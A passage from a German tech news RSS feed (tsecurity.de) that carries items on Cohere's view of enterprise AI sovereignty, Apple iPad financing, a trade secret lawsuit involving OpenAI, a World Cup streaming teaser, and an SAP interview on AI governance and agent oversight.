                        <img width="400px" loading="lazy" src="https://www.computerworld.com/wp-content/uploads/2026/07/4193952-0-52301800-1783446508-youtube-thumbnail-gu6x40jhZ1s_3cbf50.jpg?quality=50&amp;strip=all&amp;w=300" alt="Image" sizes="300px">
                    </div>
                </div>
                <div class="card card--xs">
                    <h3 class="card__title">Why enterprise AI projects stall before delivering real value</h3>
                                         <div class="card__info card__info--light"><span>Jul 7, 2026 </span><span>29 mins</span></div>                    <div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span><span class="card__tag"><span class="tag">Generative AI</span></span><span class="card__tag"><span class="tag">ROI and Metrics</span></span></div>                </div>
            </a>
        </li>
                <li class="col-4@md related-content-video__card">
            <a class="related-content-video__card-link" href="https://www.computerworld.com/video/4191262/how-ai-is-breaking-job-interviews-skills-testing-and-evaluation.html" aria-label="Go to content">
                <div class="related-content-video__card-image">
                    <div class="image">
                        <img width="400px" loading="lazy" src="https://www.computerworld.com/wp-content/uploads/2026/06/4191262-0-24248500-1782847008-youtube-thumbnail-lVEejCXC4lU_b223c5.jpg?quality=50&amp;strip=all&amp;w=300" alt="Image" sizes="300px">
                    </div>
                </div>
                <div class="card card--xs">
                    <h3 class="card__title">How AI is breaking job interviews, skills testing and evaluation</h3>
                                         <div class="card__info card__info--light"><span>Jun 30, 2026 </span><span>32 mins</span></div>                    <div class="card__tags"><span class="card__tag"><span class="tag">Generative AI</span></span><span class="card__tag"><span class="tag">Hiring</span></span><span class="card__tag"><span class="tag">IT Skills and Training</span></span></div>                </div>
            </a>
        </li>
                <li class="col-4@md related-content-video__card">
            <a class="related-content-video__card-link" href="https://www.computerworld.com/video/4188534/how-ai-is-reshaping-cybersecurity.html" aria-label="Go to content">
                <div class="related-content-video__card-image">
                    <div class="image">
                        <img width="400px" loading="lazy" src="https://www.computerworld.com/wp-content/uploads/2026/06/4188534-0-45176600-1782243369-youtube-thumbnail-5DLoQMU0nZc_de9df9.jpg?quality=50&amp;strip=all&amp;w=300" alt="Image" sizes="300px">
                    </div>
                </div>
                <div class="card card--xs">
                    <h3 class="card__title">How AI is reshaping cybersecurity</h3>
                                         <div class="card__info card__info--light"><span>Jun 23, 2026 </span><span>44 mins</span></div>                    <div class="card__tags"><span class="card__tag"><span class="tag">Cyberattacks</span></span><span class="card__tag"><span class="tag">Cybercrime</span></span><span class="card__tag"><span class="tag">Generative AI</span></span></div>                </div>
            </a>
        </li>
        </ul></div></div><div class="related-content-video__button-container"><a class="button" target="_self" href="https://www.computerworld.com/videos/">See all videos</a></div></section></div><section class="suggested-content-various"><div class="container"><div class="grid suggested-content-various__content"><div class="col-12 col-3@lg">
			<h2 class="suggested-content-various__title">Show me more</h2><div class="suggested-content-various__filters"><span class="suggested-content-various__filter"><button class="chip chip--filter chip--active" type="button" data-filter-key="latest">Latest</button></span><span class="suggested-content-various__filter"><button class="chip chip--filter" type="button" data-filter-key="article">Articles</button></span><span class="suggested-content-various__filter"><button class="chip chip--filter" type="button" data-filter-key="podcast">Podcasts</button></span><span class="suggested-content-various__filter"><button class="chip chip--filter" type="button" data-filter-key="video">Videos</button></span></div>
		</div><div class="col-12 col-9@lg suggested-content-various__items-wrap"><div class="grid grid--cols-9@lg suggested-content-various__items"><div class="col-4@md col-3@lg suggested-content-various__item suggested-content-various__item--active" data-filter-value="
				latest,article"><a class="suggested-content-various__link" href="https://www.computerworld.com/article/4195055/apple-finally-calls-time-on-15-year-old-device-support.html" aria-label="Go to content"><div class="card">
					<div class="card__header">
						<span class="card__content-type">opinion</span> </div> <h3 class="card__title">Apple finally calls time on 15-year-old device support</h3> <div class="card__info"><span>By Jonny Evans</span></div><div class="card__info card__info--light"><span itemprop="datePublished" content="2026-07-09T16:15:14+00:00">Jul 9, 2026</span><span>4 mins</span></div>
				 <div class="card__tags"><span class="card__tag"><span class="tag">Apple</span></span><span class="card__tag"><span class="tag">Smartphones</span></span><span class="card__tag"><span class="tag">iPhone</span></span></div></div>
					<div class="image"><img width="400px" loading="lazy" src="https://www.computerworld.com/wp-content/uploads/2026/07/4195055-0-47500100-1783613766-iPhone4s_3up_Photo_Siri_Sprgbd_PRINT.jpg?quality=50&amp;strip=all&amp;w=219" alt="Image"></div>
				</a>
			</div><div class="col-4@md col-3@lg suggested-content-various__item suggested-content-various__item--active" data-filter-value="
				article"><a class="suggested-content-various__link" href="https://www.computerworld.com/article/4194931/physical-ai-will-see-the-fusion-of-robotics-and-ai-transform-the-world.html" aria-label="Go to content"><div class="card">
					<div class="card__header">
						<span class="card__content-type">brandpost</span> <span class="card__sponsor-text">Sponsored by Tether</span></div> <h3 class="card__title">Physical AI will see the fusion of robotics and AI transform the world</h3> <div class="card__info"><span>By tether</span></div><div class="card__info card__info--light"><span itemprop="datePublished" content="2026-07-09T11:11:53+00:00">9 Jul 2026</span><span>6 mins</span></div>
				 <div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span></div></div>
					<div class="image"><img width="400px" loading="lazy" src="https://www.computerworld.com/wp-content/uploads/2026/07/4194931-0-76347600-1783595551-QVAC-Paid-Ad-1-_-1200-x-800.png?w=375" alt="Image"></div>
				</a>
			</div><div class="col-4@md col-3@lg suggested-content-various__item suggested-content-various__item--active" data-filter-value="
				article"><a class="suggested-content-various__link" href="https://www.computerworld.com/article/4194914/spacexai-launches-grok-4-5-touts-lower-coding-task-costs-than-ai-rivals-2.html" aria-label="Go to content"><div class="card">
					<div class="card__header">
						<span class="card__content-type">news</span> </div> <h3 class="card__title">SpaceXAI launches Grok 4.5, touts lower coding-task costs than AI rivals</h3> <div class="card__info"><span>By Prasanth Aby Thomas</span></div><div class="card__info card__info--light"><span itemprop="datePublished" content="2026-07-09T10:26:11+00:00">Jul 9, 2026</span><span>5 mins</span></div>
				 <div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span><span class="card__tag"><span class="tag">Developer</span></span><span class="card__tag"><span class="tag">Generative AI</span></span></div></div>
					<div class="image"><img width="400px" loading="lazy" src="https://www.computerworld.com/wp-content/uploads/2026/07/4194914-0-24417700-1783592810-AI-vibe-coding-one-hand-is-robot-one-hand-is-human.jpg?quality=50&amp;strip=all&amp;w=444" alt="Image"></div>
				</a>
			</div><div class="col-4@md col-3@lg suggested-content-various__item suggested-content-various__item--active" data-filter-value="
				latest,podcast"><a class="suggested-content-various__link" href="https://www.computerworld.com/podcast/4176380/microsoft-copilot-growth-claudebleed-risk-linkedin-gdpr-complaint-ep-84.html" aria-label="Go to content"><div class="card">
					<div class="card__header">
						<span class="card__content-type">podcast</span> </div> <h3 class="card__title">Microsoft Copilot Growth, ClaudeBleed Risk, LinkedIn GDPR Complaint | Ep. 84</h3> <div class="card__info"><span>By Arnold Davick</span></div><div class="card__info card__info--light"><span itemprop="datePublished" content="2026-05-22T15:04:16+00:00">May 22, 2026</span><span>2 mins</span></div>
				 <div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span></div></div>
					<div class="image"><img width="400px" loading="lazy" src="https://www.computerworld.com/wp-content/uploads/2026/05/0-46106000-1779462321-youtube-thumbnail-5PkKYThsKy8.jpg?quality=50&amp;strip=all&amp;w=444" alt="Image"></div>
				</a>
			</div><div class="col-4@md col-3@lg suggested-content-various__item suggested-content-various__item--active" data-filter-value="
				podcast"><a class="suggested-content-various__link" href="https://www.computerworld.com/podcast/4176367/chrome-gemini-ai-agents-cisa-infrastructure-cyber-resilience-ep-83.html" aria-label="Go to content"><div class="card">
					<div class="card__header">
						<span class="card__content-type">podcast</span> </div> <h3 class="card__title">Chrome Gemini, AI Agents, CISA Infrastructure Cyber Resilience | Ep. 83</h3> <div class="card__info"><span>By Arnold Davick</span></div><div class="card__info card__info--light"><span itemprop="datePublished" content="2026-05-22T14:53:18+00:00">May 22, 2026</span><span>2 mins</span></div>
				 <div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span></div></div>
					<div class="image"><img width="400px" loading="lazy" src="https://www.computerworld.com/wp-content/uploads/2026/05/0-06017100-1779461653-youtube-thumbnail-XH7vduM7uz8.jpg?quality=50&amp;strip=all&amp;w=444" alt="Image"></div>
				</a>
			</div><div class="col-4@md col-3@lg suggested-content-various__item suggested-content-various__item--active" data-filter-value="
				podcast"><a class="suggested-content-various__link" href="https://www.computerworld.com/podcast/4172579/ai-triage-gains-model-reviews-ask-jeeves-shutdown-ep-82.html" aria-label="Go to content"><div class="card">
					<div class="card__header">
						<span class="card__content-type">podcast</span> </div> <h3 class="card__title">AI Triage Gains, Model Reviews, Ask Jeeves Shutdown | Ep. 82</h3> <div class="card__info"><span>By Arnold Davick</span></div><div class="card__info card__info--light"><span itemprop="datePublished" content="2026-05-18T19:31:15+00:00">May 18, 2026</span><span>2 mins</span></div>
				 <div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span></div></div>
					<div class="image"><img width="400px" loading="lazy" src="https://www.computerworld.com/wp-content/uploads/2026/05/0-62824900-1779132751-youtube-thumbnail-P3R6blMndrU.jpg?quality=50&amp;strip=all&amp;w=444" alt="Image"></div>
				</a>
			</div><div class="col-4@md col-3@lg suggested-content-various__item suggested-content-various__item--active" data-filter-value="
				latest,video"><a class="suggested-content-various__link" href="https://www.computerworld.com/video/4185559/why-ai-agents-could-create-a-new-control-and-security-crisis.html" aria-label="Go to content"><div class="card">
					<div class="card__header">
						<span class="card__content-type">video</span> </div> <h3 class="card__title">Why AI agents could create a new control and security crisis</h3> <div class="card__info"><span></span></div><div class="card__info card__info--light"><span itemprop="datePublished" content="2026-06-16T11:47:15+00:00">Jun 16, 2026</span><span>28 mins</span></div>
				 <div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span><span class="card__tag"><span class="tag">Generative AI</span></span><span class="card__tag"><span class="tag">IT Governance</span></span></div></div>
					<div class="image"><img width="400px" loading="lazy" src="https://www.computerworld.com/wp-content/uploads/2026/06/4185559-0-48713800-1781610470-youtube-thumbnail-uPpd9EJ4iNI_55eb26.jpg?quality=50&amp;strip=all&amp;w=444" alt="Image"></div>
				</a>
			</div><div class="col-4@md col-3@lg suggested-content-various__item suggested-content-various__item--active" data-filter-value="
				video"><a class="suggested-content-various__link" href="https://www.computerworld.com/video/4182978/does-quality-suffer-when-ai-generates-code.html" aria-label="Go to content"><div class="card">
					<div class="card__header">
						<span class="card__content-type">video</span> </div> <h3 class="card__title">Does quality suffer when AI generates code?</h3> <div class="card__info"><span></span></div><div class="card__info card__info--light"><span itemprop="datePublished" content="2026-06-09T14:32:51+00:00">Jun 9, 2026</span><span>35 mins</span></div>
				 <div class="card__tags"><span class="card__tag"><span class="tag">Code Security</span></span><span class="card__tag"><span class="tag">Developer</span></span><span class="card__tag"><span class="tag">Generative AI</span></span></div></div>
					<div class="image"><img width="400px" loading="lazy" src="https://www.computerworld.com/wp-content/uploads/2026/06/4182978-0-61230000-1781015610-youtube-thumbnail-1hAfDQkuyhs_faa994.jpg?quality=50&amp;strip=all&amp;w=444" alt="Image"></div>
				</a>
			</div><div class="col-4@md col-3@lg suggested-content-various__item suggested-content-various__item--active" data-filter-value="
				video"><a class="suggested-content-various__link" href="https://www.computerworld.com/video/4180043/what-happens-when-ai-starts-selling-to-ai.html" aria-label="Go to content"><div class="card">
					<div class="card__header">
						<span class="card__content-type">video</span> </div> <h3 class="card__title">What happens when AI starts selling to AI?</h3> <div class="card__info"><span></span></div><div class="card__info card__info--light"><span itemprop="datePublished" content="2026-06-02T15:00:42+00:00">Jun 2, 2026</span><span>38 mins</span></div>
				 <div class="card__tags"><span class="card__tag"><span class="tag">Generative AI</span></span><span class="card__tag"><span class="tag">Procurement Software</span></span><span class="card__tag"><span class="tag">Salesforce Automation </span></span></div></div>
					<div class="image"><img width="400px" loading="lazy" src="https://www.computerworld.com/wp-content/uploads/2026/06/4180043-0-78180900-1780412479-youtube-thumbnail-jPv-TAenlto_c79318.jpg?quality=50&amp;strip=all&amp;w=444" alt="Image"></div>
				</a>
			</div></div></div></div></div></section>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cohere VP says enterprise AI sovereignty requires control of the full agent stack at VB Transform 2026]]></title>
<description><![CDATA[Hundreds of enterprise leaders and technical experts packed the main ballroom of the luxurious Hotel Nia in Menlo Park this week for VB Transform 2026, the year's preeminent conference on using generative AI agents to drive business outcomes. Rachad Alao, vice president of product engineering at ...]]></description>
<link>https://tsecurity.de/de/3671771/it-nachrichten/cohere-vp-says-enterprise-ai-sovereignty-requires-control-of-the-full-agent-stack-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671771/it-nachrichten/cohere-vp-says-enterprise-ai-sovereignty-requires-control-of-the-full-agent-stack-at-vb-transform-2026/</guid>
<pubDate>Wed, 15 Jul 2026 22:02:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hundreds of enterprise leaders and technical experts packed the main ballroom of the luxurious Hotel Nia in Menlo Park this week for<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>, the year's preeminent conference on using generative AI agents to drive business outcomes. </p><p>Rachad Alao, vice president of product engineering at the rising Canadian enterprise AI startup Cohere, joined VentureBeat CEO and editor-in-chief <a href="https://venturebeat.com/author/matt-marshall">Matt Marshall</a> for a fireside chat about building agentic systems without surrendering sensitive data, infrastructure control, or the ability to change vendors.</p><p>Alao, who previously led responsible AI and trust and safety engineering teams at Google and Meta, argued that AI sovereignty means more than downloading an open model or running an application behind a corporate firewall.</p><p>Asked how Cohere defines sovereignty, Alao pointed to organizations operating mission-critical systems, including banks, hospitals and governments.</p><p>“It is important to have very tight control on where the data resides, have tight control on the AI,” he said, adding that AI operations should take place in jurisdictions an organization understands or directly controls.</p><p>That extends from GPUs and private-cloud infrastructure through governance systems that route requests among models, as well as the connectors, search tools and agent frameworks acting on enterprise data.</p><p>“You want to have control on the entire stack,” Alao said.</p><h2><b>Agent workloads could outrun falling token prices</b></h2><p>Marshall challenged one of the central economic arguments for smaller, locally deployed models: Inference prices continue to fall rapidly, potentially weakening the case for optimizing every token.</p><p>Alao countered that total consumption is climbing even faster as enterprises move from relatively simple chatbots to agents that reason through problems, call tools, search internal systems and take multiple steps before returning an answer.</p><p>“Your token utilization is going exponentially up, because you’re dealing with more and more complex agentic use cases,” he said. Those workflows require “a lot of processing, thinking, tools interaction” to complete their objectives, he added.</p><p>Alao also drew a contrast between providers that bill customers according to token consumption and Cohere’s approach.</p><p>“If your whole way of charging customers is for token utilization, you want to maximize token utilization,” he said. “We do not sell our models and our platform that way.”</p><p>Instead, Alao said Cohere tries to help enterprises solve their hardest problems privately and securely while reducing unnecessary model usage. His prescription was straightforward: “Use the right model for the task at hand.”</p><p>Rather than sending every request to the largest available frontier model, enterprises should route work according to the intelligence required and the sensitivity or regulatory burden attached to the task.</p><p>Alao cited an unnamed Canadian bank that uses Cohere’s on-premises models for highly regulated workloads, while sending less sensitive tasks requiring greater intelligence through Cohere’s North platform to larger frontier models.</p><p>“So model routing can become super useful,” he said.</p><h2><b>Smaller models for most enterprise work</b></h2><p>Asked by an audience member how Cohere’s open-source <a href="https://venturebeat.com/technology/cohere-open-sources-a-coding-agent-that-runs-on-a-single-h100">North Mini Code</a>, released last month, could compete against proprietary coding models, Alao acknowledged that larger frontier models may perform somewhat better on the hardest tasks.</p><p>But that advantage may not justify using them indiscriminately.</p><p>“For 80% of the use cases that they needed, this was a lot more effective, a lot cheaper,” Alao said of developers adopting the model.</p><p>Cohere’s North Mini Code runs on a single Nvidia H100 GPU and targets agentic software engineering, including terminal work, code review and tool use.</p><p>The company has also released <a href="https://venturebeat.com/technology/cohere-cracks-lossless-quantization-and-native-citations-with-first-full-apache-2-0-licensed-open-model-command-a/">Command A+</a>, a 218-billion-parameter mixture-of-experts model with only 25 billion parameters active during each generation step. </p><p>Its compressed four-bit version reduces the hardware required for private deployment, while its Apache 2.0 license gives enterprises broad freedom to operate and modify it.</p><h2><b>Search becomes part of the agent</b></h2><p>Asked about Cohere’s longstanding work on embeddings and enterprise search, Alao said the field is moving beyond retrieving text and inserting it into a model’s context window.</p><p>“Today, the state of the art is around multimodal search,” he said. “It’s beyond just the text modality.”</p><p>Search across documents, images and other forms of information is becoming “an integral component of your agentic workflow,” Alao added, with the model deciding when and how to use retrieval like any other tool.</p><p>Asked what would persuade enterprises to move beyond bundled AI services from existing cloud providers, Alao returned to data control and portability.</p><p>“If you’re interested in sovereignty, you want to have more control on your data,” he said. Cohere’s governance layer, he added, lets customers route traffic to appropriate models, “breaking that vendor lock-in concern that a lot of our customers have.”</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple's new 36-month cellular iPad financing plan is good, but you can save money elsewhere]]></title>
<description><![CDATA[Before you take advantage of Apple's new 36-month financing on cellular iPads, you should check to see if there are better deals first, since there are no discounts through Apple's programs.iPad AirThe new 36-month option appears at checkout when someone buys a Wi-Fi + Cellular iPad from Apple, a...]]></description>
<link>https://tsecurity.de/de/3671655/ios-mac-os/apples-new-36-month-cellular-ipad-financing-plan-is-good-but-you-can-save-money-elsewhere/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671655/ios-mac-os/apples-new-36-month-cellular-ipad-financing-plan-is-good-but-you-can-save-money-elsewhere/</guid>
<pubDate>Wed, 15 Jul 2026 20:51:30 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Before you take advantage of Apple's new 36-month financing on cellular iPads, you should check to see if there are better deals first, since there are no discounts through Apple's programs.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68260-143893-iPad-Air-M4-blue-held-in-hand-xl.jpg" alt="Person holding a tablet at a wooden table in a cafe, with a takeaway coffee cup in the foreground and soft natural light coming from the left side" height="737"><span>iPad Air</span></div><br>The new 36-month option appears at checkout when someone buys a Wi-Fi + Cellular iPad from Apple, alongside paying in full or using Apple Card Monthly Installments. It's available for the iPad, iPad mini, iPad Air and iPad Pro, subject to carrier approval.<br><br>Apple's own interest-free financing still runs for 12 months through Apple Card. Apple Card Monthly Installments includes 3% Daily Cash up front and isn't tied to a carrier installment plan.<br><br>The 36-month option lowers the monthly payment, not the price. It spreads the same total over three years instead of one.<br><br><br> <a href="https://appleinsider.com/articles/26/07/15/apples-new-36-month-cellular-ipad-financing-plan-is-good-but-you-can-save-money-elsewhere?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244967?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Who is Tang Tan, the ex-Apple VP at the core of OpenAI's trade secret theft lawsuits]]></title>
<description><![CDATA[Apple's former vice president of product design, Tang Tan, is at the center of two trade secret theft lawsuits against OpenAI. Here's who he is, how he got started, and why he is crucial to OpenAI's future.Tang Tam - Image Credit: mit.gelstagram/InstagramOn July 10, Apple filed a lawsuit against ...]]></description>
<link>https://tsecurity.de/de/3671568/ios-mac-os/who-is-tang-tan-the-ex-apple-vp-at-the-core-of-openais-trade-secret-theft-lawsuits/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671568/ios-mac-os/who-is-tang-tan-the-ex-apple-vp-at-the-core-of-openais-trade-secret-theft-lawsuits/</guid>
<pubDate>Wed, 15 Jul 2026 20:07:05 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple's former vice president of product design, Tang Tan, is at the center of two trade secret theft lawsuits against OpenAI. Here's who he is, how he got started, and why he is crucial to OpenAI's future.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68256-143891-tanheader-xl.jpg" alt="Middleaged man seated and speaking animatedly on a panel, wearing a dark longsleeve shirt with a headset microphone, gesturing with one hand in front of a conference backdrop." height="738"><br><span>Tang Tam - Image Credit: mit.gelstagram/Instagram</span></div><br>On July 10, Apple filed a <a href="https://appleinsider.com/articles/26/07/10/apple-sues-openai-previous-vp-of-product-design-over-mass-ip-theft">lawsuit against OpenAI</a>, alleging that two former Apple employees stole its intellectual property. The trade secrets would allegedly be used by OpenAI's hardware teams to produce new products, including a planned AI device.<br><br>One name stands out prominently in the affair. Tang Tan is a major figure, partly because of his position at Apple and at OpenAI, and from his alleged activities that prompted the lawsuit.<br><br><br> <a href="https://appleinsider.com/articles/26/07/15/who-is-tang-tan-the-ex-apple-vp-at-the-core-of-openais-trade-secret-theft-lawsuits?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244966?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[WM 2026: England gegen Argentinien heute kostenlos live im TV und Stream?]]></title>
<description><![CDATA[WM 2026, ausgerechnet die zwei Erzrivalen treffen im Halbfinale aufeinander – nach Falkland und der Hand Gottes! Gibt es England gegen Argentinien gratis live im TV und Stream? Wer folgt Frankreich ins Endspiel?]]></description>
<link>https://tsecurity.de/de/3671450/it-nachrichten/wm-2026-england-gegen-argentinien-heute-kostenlos-live-im-tv-und-stream/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671450/it-nachrichten/wm-2026-england-gegen-argentinien-heute-kostenlos-live-im-tv-und-stream/</guid>
<pubDate>Wed, 15 Jul 2026 19:17:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[WM 2026, ausgerechnet die zwei Erzrivalen treffen im Halbfinale aufeinander – nach Falkland und der Hand Gottes! Gibt es England gegen Argentinien gratis live im TV und Stream? Wer folgt Frankreich ins Endspiel?]]></content:encoded>
</item>
<item>
<title><![CDATA[AI is paying off, but governance is lagging behind]]></title>
<description><![CDATA[Enterprises are facing two simultaneous challenges with AI: The risks associated with it are evolving faster than governance frameworks, while the business benefits are often difficult to measure.



This is one of the key findings of The Value of AI, a study commissioned by SAP from Oxford Econo...]]></description>
<link>https://tsecurity.de/de/3671333/it-nachrichten/ai-is-paying-off-but-governance-is-lagging-behind/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671333/it-nachrichten/ai-is-paying-off-but-governance-is-lagging-behind/</guid>
<pubDate>Wed, 15 Jul 2026 18:33:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprises are facing two simultaneous challenges with AI: The risks associated with it are evolving faster than governance frameworks, while the business benefits are often difficult to measure.</p>



<p class="wp-block-paragraph">This is one of the key findings of <a href="https://www.sap.com/documents/2026/07/92b94d7d-5a7f-0010-bca6-c68f7e60039b.html" target="_blank" rel="noreferrer noopener">The Value of AI</a>, a study commissioned by SAP from Oxford Economics. Now in its second year, the study surveyed 2,600 executives from 13 countries worldwide.</p>



<h2 class="wp-block-heading">High expectations, limited preparation</h2>



<p class="wp-block-paragraph">On average, the enterprises surveyed plan to spend around $28 million on AI (up from $26.7 million last year), and expect a 21% ROI (from 16% last year). Expectations for AI agents are particularly high, with ROI expected to reach 17% this year, up from 10% last year. Furthermore, 83% of respondents worldwide said agentic AI has the potential to fundamentally transform their organization. On the other hand, only 3% of respondents said their enterprises were fully prepared for the deployment of AI agents.</p>



<p class="wp-block-paragraph">There are gaps, particularly when it comes to governance:</p>



<ul class="wp-block-list">
<li>Only 12% of respondents said their skills or processes were able to govern AI effectively,</li>



<li>38% do not have human-in-the-loop processes in place for oversight of AI agents, and</li>



<li>only 63% have established permissions and access controls for agents.</li>
</ul>



<p class="wp-block-paragraph">Other concerns include weaknesses in the organization of AI deployment, poor data quality, insufficient employee training, and the widespread use of shadow AI.</p>



<h2 class="wp-block-heading">Governance is the bigger challenge</h2>


<div class="extendedBlock-wrapper block-coreImage right"><figure class="wp-block-image alignright size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Sean Kask, Chief AI Strategy Officer at SAP </figcaption></figure><p class="imageCredit">SAP</p></div>



<p class="wp-block-paragraph">In an interview, <a href="https://www.linkedin.com/in/seankask/" target="_blank" rel="noreferrer noopener">Sean Kask</a>, Chief AI Strategy Officer at SAP, commented on the study’s key findings.</p>



<p class="wp-block-paragraph"><em>Mr. Kask, in the study’s foreword, you write that companies are currently facing two challenges simultaneously: The risks associated with AI are evolving faster than governance, while the business benefits are often difficult to measure. Which of these poses the greater problem for companies?</em></p>



<p class="wp-block-paragraph"><strong>Sean Kask:</strong> Measuring the business value of IT investments has never been easy. The same applies to AI. That’s why I currently consider the governance issue to be the greater challenge. While traditional governance principles and best practices for secure software development remain important even in the age of large language models and agent-based AI, entirely new risks are emerging at the same time.</p>



<p class="wp-block-paragraph">For example, as soon as companies roll out AI on a broad scale, they suddenly discover hundreds or even thousands of so-called shadow agents that employees are using without central oversight. Or they find that a significant portion of the workforce is copying content into private ChatGPT accounts. Such risks often only become apparent once AI is already being used productively.</p>



<p class="wp-block-paragraph"><em>According to your study, German companies invest an average of nearly $40 million in AI, more than companies in all other countries surveyed. Why is that?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> I was less surprised by the amount of investment than by the fact that, overall, the level of investment and the return on investment achieved have developed very similarly across the various countries. There’s no clear answer as to why Germany invests more. In part, it’s likely simply because costs here are higher than in India, for example.</p>



<p class="wp-block-paragraph">However, we’re also seeing a high level of AI adoption among German companies. SAP has a dashboard that allows us to track how our customers are using AI features. Germany is among the countries with particularly high usage. Added to this are the strong industrial base and the political impetus from Europe, which are driving the use of AI. Accordingly, companies there are making targeted investments in building the necessary expertise.</p>



<p class="wp-block-paragraph"><em>According to the study, 47% of German companies are satisfied with the return on investment from their AI investments. At the same time, 77% say they are still far from realizing AI’s full potential. Isn’t that a contradiction?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> No, we see this pattern worldwide. Companies initially invest in a few AI use cases and realize: This works; we’re creating added value. Accordingly, they’re satisfied with their investment.</p>



<p class="wp-block-paragraph">But this is precisely what leads them to identify further use cases. They explore AI agents and want to utilize them as well. However, it is exactly at this point that many encounter new challenges in implementation and scaling.</p>



<p class="wp-block-paragraph">The study therefore primarily highlights a learning curve: The more experience companies gain with AI, the greater their awareness of its previously untapped potential becomes.</p>



<p class="wp-block-paragraph"><em>According to the study, only 33% of companies surveyed have KPIs at the executive board level that are directly linked to the implementation of AI. In your view, which metrics should supervisory boards and CEOs definitely be tracking?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> For us, a key indicator is employee enablement. How many employees have already successfully completed training or upskilling programs related to AI? Without the appropriate skills, AI adoption will fall short of its potential.</p>



<p class="wp-block-paragraph">Transparency is equally important. Companies should know which AI agents are actually in use within their landscape. SAP offers the SAP AI Agent Hub for this purpose, which automatically discovers and inventories agents from SAP and third-party environments. Customers have already been able to identify thousands of agents this way, which highlights the need for centralized governance and transparency.</p>



<p class="wp-block-paragraph">In addition, companies should have a complete overview of all AI use cases. A robust business case should be in place for each use case. We often see two extremes: Either the executive board is under pressure to implement AI as quickly as possible and allocates a lump-sum budget for this purpose. Or management initially takes a wait-and-see approach. This leads to independent pilot projects springing up throughout the company, with individual departments procuring their own tools and entering into their own contracts.</p>



<p class="wp-block-paragraph">At SAP, we therefore follow a clearly structured selection process. Each idea first undergoes an assessment of its expected business value. We then examine technical feasibility, data availability, and ethical and governance aspects. From management’s perspective, it is crucial to maintain transparency regarding all ongoing AI projects at all times and to consistently prioritize them based on their business value.</p>



<h2 class="wp-block-heading">Agents, too, need a ‘hire-to-retire’ lifecycle</h2>



<p class="wp-block-paragraph"><em>Even with the introduction of dozens or even hundreds of AI agents, governance becomes increasingly complex. What capabilities do enterprise platforms need to manage AI agents securely and in a controlled manner at scale?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> We make a conscious effort not to anthropomorphize AI too much. Nevertheless, the analogy is helpful: Agents require a complete hire-to-retire lifecycle. This begins with the detection and registration of an agent. It is then integrated into the enterprise environment, granted the necessary permissions, and given access to the data sources it needs to perform its tasks.</p>



<p class="wp-block-paragraph">Observability is just as important. Companies must be able to track what an agent is actually doing in the system at all times. In addition, they should track key performance indicators: Is the agent achieving the desired results? How efficiently is it working? How many tokens does it consume? How many processing steps does it require for a task?</p>



<p class="wp-block-paragraph">Ultimately, this involves several key components: a complete inventory of all agents, appropriate governance, risk, and compliance (GRC) mechanisms, transparency regarding agent behavior, and continuous monitoring. This is the only way to ensure that AI agents consistently operate within defined parameters and deliver the desired business value.</p>



<p class="wp-block-paragraph"><em>In your estimation, which business processes will companies actually delegate entirely to AI agents over the next two to three years?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Currently, such agents work particularly well in clearly defined use cases. SAP will release more than 50 (currently 34) specialized AI agents.</p>



<p class="wp-block-paragraph">One example is periodic financial reporting. In this context, journal entries must be made based on numerous rules stored in documents, emails, or previous transactions. The agent analyzes these various sources of information, derives a recommendation from them, and suggests the appropriate journal entry to the user.</p>



<p class="wp-block-paragraph">Based on what we’ve heard from customer projects, employees at medium-sized companies currently spend about twelve hours per month on these tasks. With the help of an AI agent, this effort can be reduced to two to three hours.</p>



<p class="wp-block-paragraph">Another area of application is production planning. If delivery dates change or new orders come in at short notice, the entire production plan must be adjusted. It is precisely these kinds of complex optimization tasks that are ideally suited for AI agents.</p>



<p class="wp-block-paragraph">In principle, there are virtually no limits to the narrowly defined business processes in which agents can be deployed. However, they will not operate completely autonomously at first.</p>



